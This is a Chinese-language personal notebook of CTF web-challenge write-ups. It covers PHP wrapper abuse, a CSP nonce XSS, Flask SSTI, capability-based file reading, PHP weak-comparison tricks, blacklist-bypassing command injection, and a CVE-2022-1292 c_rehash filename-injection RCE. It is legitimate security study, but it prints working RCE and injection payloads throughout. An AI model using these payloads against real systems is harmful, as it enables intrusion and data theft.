2601做题笔'记
CTF Web 方向题目
2601做题笔'记
一月份找了点web题做。其中大部分都来自 NSSCTF 的每日一题。
还没搞清楚的问题
- 01 没搞懂discord咋玩
- 13 图片隐写。在图片中实现一个二维图灵机? IDA反编译后的代码啃不下来。
- 21
c_rehash这个脚本,以及 CVE-2022-1292 (OpenSSL RCE 漏洞)
01 [SDCTF 2022]HuMongous Mistake
尝试用 admin 创建账户,发现用户已存在。
做这道题之前甚至需要加入一个 discord 群组。我的是:
NSSCTF-SDCTF-2022#7551
sdctf-2022/web/medium - humongous mistake at main · acmucsd/sdctf-2022
感觉这道题过时了?看官方wp好像是利用 discord 的 Two-Factor Authentication 不会进行用户检测的漏洞。但是现在 Discord 已经升级成 Multi-Factor Authentication 了,不知道还管不管用。
02 [SWPUCTF 2021 新生赛] PseudoProtocols
Task 1
hint is hear Can you find out the hint.php?
php伪协议,使用base64编码回显文件内容:
?wllm=php://filter/read=convert.base64-encode/resource=hint.php
PD9waHANCi8vZ28gdG8gL3Rlc3QyMjIyMjIyMjIyMjIyLnBocA0KPz4=
解码:
<?php
//go to /test2222222222222.php
?>
Task 2
<?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
echo "success\n";
echo $flag;
}
?>
payload:
数据流封装器。
http://node7.anna.nssctf.cn:29990/test2222222222222.php?a=data://text/plain,I want flag
03 [NSSRound#12 Basic]ability
使用 SSH 连接到服务器
ssh -l ctf -p 25545 node4.anna.nssctf.cn
使用 getcap (get capabilities) 递归查找 (-r, recursive) 出在根目录 / 下的文件的能力(capabilities) ,并将错误信息 (2) 放入 /dev/null 中(可以理解为忽略报错)。
getcap -r / 2>/dev/null
查找到 /usr/bin/ 目录下的 dig 文件拥有 cap_dac_override 权限
/usr/bin/dig cap_dac_override=ep
DAC (Discretionary Access Control) 自主访问控制,该功能会对文件的 rwx 等权限和文件的所有者进行检查。
该文件能够绕过 DAC,非常的逆天!也印证了题目里那句话:
能力越大,越危险
总之,现在可以利用这个超高权限的文件来读取flag了。
dig -f flag
Everything is a file in Linux
在 usr/bin/ 目录下的文件,包含了 Linux 的许多常用命令。其实,在 Shell 输入的每个命令都是一个二进制可执行文件。
dig : Domain Information Groper ,向 DNS 服务器查询指定的信息。
虽然 flag 文件中的内容不是域名,但可以通过 dig 的报错回显 flag 的内容。
04 [AFCTF 2021]BABY_CSP
URL 中可以传入 school 参数,传入 XSS,console 会报错
http://node4.anna.nssctf.cn:22548/?school=<script>alert(1)</script>
Executing inline script violates the following Content Security Policy directive 'script-src 'nonce-29de6fde0db5686d''. Either the 'unsafe-inline' keyword, a hash ('sha256-bhHHL3z2vDgxUt0W3dWQOrprscmda2Y5pLsLg4GF+pI='), or a nonce ('nonce-...') is required to enable inline execution. The action has been blocked.
注意到有 nonce (Number used once)。多次刷新页面,发现这个 nonce 是静态的,传参时硬编码即可。
<script nonce=29de6fde0db5686d>
成功弹出 alert。改成 alert(flag) 即可。
http://node4.anna.nssctf.cn:22548/?school=<script nonce=29de6fde0db5686d>alert(1)</script>
这题真是够 baby 的。。。唯一的难点可能就是 alert(flag) 要稍微猜一下。。。
06 [CISCN 2019华东南]Double Secret
这题 NSSCTF 的环境有问题,可以到 BUUCTF 上做同样的题目: BUUCTF在线评测
用 dirsearch 扫描目录,发现有 robots.txt 和 /secret 可访问。
robots.txt 中有提示:
It is Android ctf
/secret 目录下写着:
Tell me your secret.I will encrypt it so others can't see
传入参数 secret为一个很大的整数,会报错,发现用了 Flask,并且有代码可以展开。
http://node4.anna.nssctf.cn:21932/secret?secret=129000000000000000
发现使用了 RC4 加密算法,且秘钥为 HereIsTreasure
在 CyberChef 中进行 RC4 加密,Passphrase 设定为 HereIsTreasure,然后尝试 SSTI
因为这道题目标签中有 SSTI,而且前面发现用了 Flask,故猜测是模板注入。 但在实战中没有这么明显的提示,只能靠经验和脑洞去猜了。
记得勤复习哦 SSTI 注入 - Hello CTF
payload(RC4 加密 + URL 编码即可)
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /f*').read() }}
07 [GKCTF 2021]CheckBot
页面源代码中有提示:
<!--
I am a check admin bot, I will check your URL file suffix!
------------------------------------------------------------
POST url for bot!
-->
访问 admin.php 得到:
no!you are 58.248.162.154
这个题涉及的知识盲区有点多了,先放放。参考资料:
[GKCTF 2021]CheckBot | 北歌 BUUCTF Web Writeup 7 - Boogiepop Doesn't Laugh
相关搜索:
VPS frp内网穿透 反弹shell web服务 xss python的http.server nc reqbin
再看看 ADCTF2024 web 也有一道相关题目
08 [第五空间 2021]WebFTP
dirsearch一下,发现一堆泄露。进入/README.md ,发现有初始账号
超级管理员 admin 密码 admin888
2011年的web应用居然这么没有安全意识吗。。。
这个题也是够sb,flag直接放在phpinfo.php里面(环境变量)。
12 [WUSTCTF 2020]朴实无华
做任何 Web 题都要先流量分析,养成好习惯。
多一点耐心,慢慢看每一个请求头和请求体;这道题找半天也没找到 /fAke_f1agggg.php 的提示,看了wp才知道藏在headers中。
level1 - PHP 的字符串类型转换特性
intval() - Get the integer value of a variable
该函数在处理字符串时:从左到右处理读取,直到遇到第一个非数字字符。
然而,在字符串和整数的算术运算中:
$string = "3e3";
$a = $string + 1;
echo $a;
最终输出 $a 为 3001。说明php可以识别字符串中的科学计数法
level2 - hash 之后和原来一样?
要满足:
if ($md5==md5($md5))
存在:
0e215962017
它的 md5 值是:
0e291242476940776845150308577824
足以绕过 PHP 的弱比较。
getflag
strstr() : Find the first occurrence of a string.
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
过滤了 cat 、空格 和 wctf2020. 空格用 ${IFS} 绕过即可。既然用不了cat,我们可以用tac,反过来输出文件内容啊。
最终payload:
http://node5.anna.nssctf.cn:28758/fl4g.php?num=3e3&md5=0e215962017&get_flag=tac${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
13 [GoogleCTF 2017 final]Picasso
确实是 Final 该有的难度。
首先用 IDA 反编译,可以得到 main() 函数的内容
我操了,怎么这么难啊。网上一篇wp都找不到。
19 [suctf 2019]easyweb
<?php
function get_the_flag(){ // webadmin will remove your upload file every 20 min!!!! $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){ mkdir($userdir);
}
if(!empty($_FILES["file"])){ $tmp_name = $_FILES["file"]["tmp_name"]; $name = $_FILES["file"]["name"]; $extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^"); $path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path); print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){ highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
未被过滤的字符有:
!#$%()*+-/:;<>?@\]^{}
21 [CISCN 2022 初赛]online_crt
Secure Sockets Layer (SSL)
安全套接层 是一种安全协议,又称 TLS (Transport Layer Security, 传输层安全协议)
源码
NSS上的这篇wp很好:文章 - [CISCN 2022 初赛]online_crt stoocea的WriteUp | NSSCTF
本题涉及的漏洞是 CVE-2022-1292 CVE-2022-1292的分析-先知社区。
下面写了我自己的理解。
app.py
import datetime
import json
import os
import socket
import uuid
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID
from flask import Flask
from flask import render_template
from flask import request
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(16)
def get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress):
root_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
subject = issuer = x509.Name([
x509.NameAttribute(NameOID.COUNTRY_NAME, Country),
x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, Province),
x509.NameAttribute(NameOID.LOCALITY_NAME, City),
x509.NameAttribute(NameOID.ORGANIZATION_NAME, OrganizationalName),
x509.NameAttribute(NameOID.COMMON_NAME, CommonName),
x509.NameAttribute(NameOID.EMAIL_ADDRESS, EmailAddress),
])
root_cert = x509.CertificateBuilder().subject_name(
subject
).issuer_name(
issuer
).public_key(
root_key.public_key()
).serial_number(
x509.random_serial_number()
).not_valid_before(
datetime.datetime.utcnow()
).not_valid_after(
datetime.datetime.utcnow() + datetime.timedelta(days=3650)
).sign(root_key, hashes.SHA256(), default_backend())
crt_name = "static/crt/" + str(uuid.uuid4()) + ".crt"
with open(crt_name, "wb") as f:
f.write(root_cert.public_bytes(serialization.Encoding.PEM))
return crt_name
# route 即 路由;我先理解为一个目录对应一个route
@app.route('/', methods=['GET', 'POST'])
def index():
return render_template("index.html")
# 规定了表单中信息的默认值 - CN a a a a a
# 配合 get_crt() 函数生成 x509 证书。
@app.route('/getcrt', methods=['GET', 'POST'])
def upload():
Country = request.form.get("Country", "CN")
Province = request.form.get("Province", "a")
City = request.form.get("City", "a")
OrganizationalName = request.form.get("OrganizationalName", "a")
CommonName = request.form.get("CommonName", "a")
EmailAddress = request.form.get("EmailAddress", "a")
return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress)
@app.route('/createlink', methods=['GET'])
def info():
json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}
return json.dumps(json_data)
@app.route('/proxy', methods=['GET'])
def proxy():
uri = request.form.get("uri", "/")
client = socket.socket()
# golang运行在8887端口上。这里flask与go代码交互。
client.connect(('localhost', 8887))
# 这里手动拼接了一个原始的 HTTP request
# 注入点应该在 uri
msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
'''
# 默认使用 utf8 编码。不重要。
client.send(msg.encode())
data = client.recv(2048)
client.close()
return data.decode()
app.run(host="0.0.0.0", port=8888)
main.go
package main
import (
"github.com/gin-gonic/gin"
"os"
"strings"
)
func admin(c *gin.Context) {
staticPath := "/app/static/crt/"
oldname := c.DefaultQuery("oldname", "")
newname := c.DefaultQuery("newname", "")
if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {
c.String(500, "error")
return
}
if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
err := os.Rename(staticPath+oldname, staticPath+newname)
if err != nil {
return
}
c.String(200, newname)
return
}
c.String(200, "no")
}
func index(c *gin.Context) {
c.String(200, "hello world")
}
func main() {
router := gin.Default()
router.GET("/", index)
router.GET("/admin/rename", admin)
if err := router.Run(":8887"); err != nil {
panic(err)
}
}
在这个环境中,go服务运行在8887端口,python服务运行在8888端口。
Golang
为了研究 golang 的一些语言特性,我需要在 vscode 中简单的配置环境。
在 golang 官网下载msi安装器后,golang 的 bin 会被自动添加到环境 PATH 中。
初始化项目:
go mod init helloworld
type go.mod
编译并运行:
go run main.go
为当前项目安装 gin 库:
go get github.com/gin-gonic/gin
解题
随便填入信息后,系统会提示我们生成了一个crt证书:
static/crt/afa18e05-40cb-4ca3-9c12-55daf5b73944.crt
我们要做的就是把该证书重命名为一段shell命令,来实现 RCE。
c_rehash
这是一段perl脚本。由于我对perl一无所知,对shell也不熟悉。在这里就不瞎分析了。
RawPath
url package - net/url - Go Packages
golang 的标准库 net/url 包中的 URL 结构体有一个 RawPath 字段:
type URL struct {
... // 其他内容
RawPath string // encoded path hint (see EscapedPath method)
... // 其他内容
}
对于一个路径 Path,标准库的 URL 解析保留了两个字段:
- 经过一次 URL 解码的路径
Path - 原始路径
RawPath
只有当 经过一次解码后的 URL 和 原始 URL 不同时,RawPath 才会被设置。
下面我在本地环境中的测试也证实了这一点(①传入的 URL 经过了一次编码,②经过了两次编码):
注意:只要用 Go 标准库进行 Web 开发,
RawPath的这个特性就会存在。 此处因为题目中涉及 gin 框架,故使用了 gin 来复现。
修改文件名绕过
再来看代码中的:
if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
err := os.Rename(staticPath+oldname, staticPath+newname)
if err != nil {
return
}
c.String(200, newname)
return
}
要求 RawPath 为空。要满足此要求,只需 将 URL 进行两次编码 再传入即可。
Payload
用 Python 脚本来生成 payload(脚本来自 stoocea,就是 NSS 上写题解的那位)
import urllib.parse
uri = '''/admin%2frename?oldname=afa18e05-40cb-4ca3-9c12-55daf5b73944.crt&newname=`echo%20Y2F0IC8qIA==|base64%20--decode|bash>flag.txt`.crt HTTP/1.1
Host: admin
'''
gopher = uri.replace("\n","\r\n")
payload = urllib.parse.quote(gopher)
print(payload)
payload:
/admin%252frename%3Foldname%3Dafa18e05-40cb-4ca3-9c12-55daf5b73944.crt%26newname%3D%60echo%2520Y2F0IC8qIA%3D%3D%7Cbase64%2520--decode%7Cbash%3Eflag.txt%60.crt%20HTTP/1.1%0D%0AHost%3A%20admin%0D%0A
之后再访问 /createlink route,执行 c_rehash 命令,就可以触发我们的 RCE。
网站禁止 POST 请求?
访问 /proxy route 时,需要用 POST 方法传入 uri 参数。但是题目环境似乎禁止了直接使用 POST 方法。
只需要在burpsuite中拦截请求后,更改请求方式为 POST,再手动把报文的 POST 改成 GET 就可以啦。
修改之后的 request 和 response 分别是这样:
Flag
最终访问 /static/crt/flag.txt 获取所执行命令的输出,发现里面就有 flag:
这道题的漏洞核心还是在
c_rehash这个 perl 脚本上。有空一定要再来研究。
22 [SWPUCTF 2021 新生赛]nc签到
简单的RCE。附件中有源代码:
blacklist = ['cat','ls',' ','cd','echo','<','${IFS}']
while True:
command = input()
for i in blacklist:
if i in command:
exit(0)
os.system(command)
绕过黑名单即可。payload是:
dir # 显示当前目录的所有文件,发现有flag
tac$IFS$9flag # 使用 $IFS$9 代替空格;tac就是cat反过来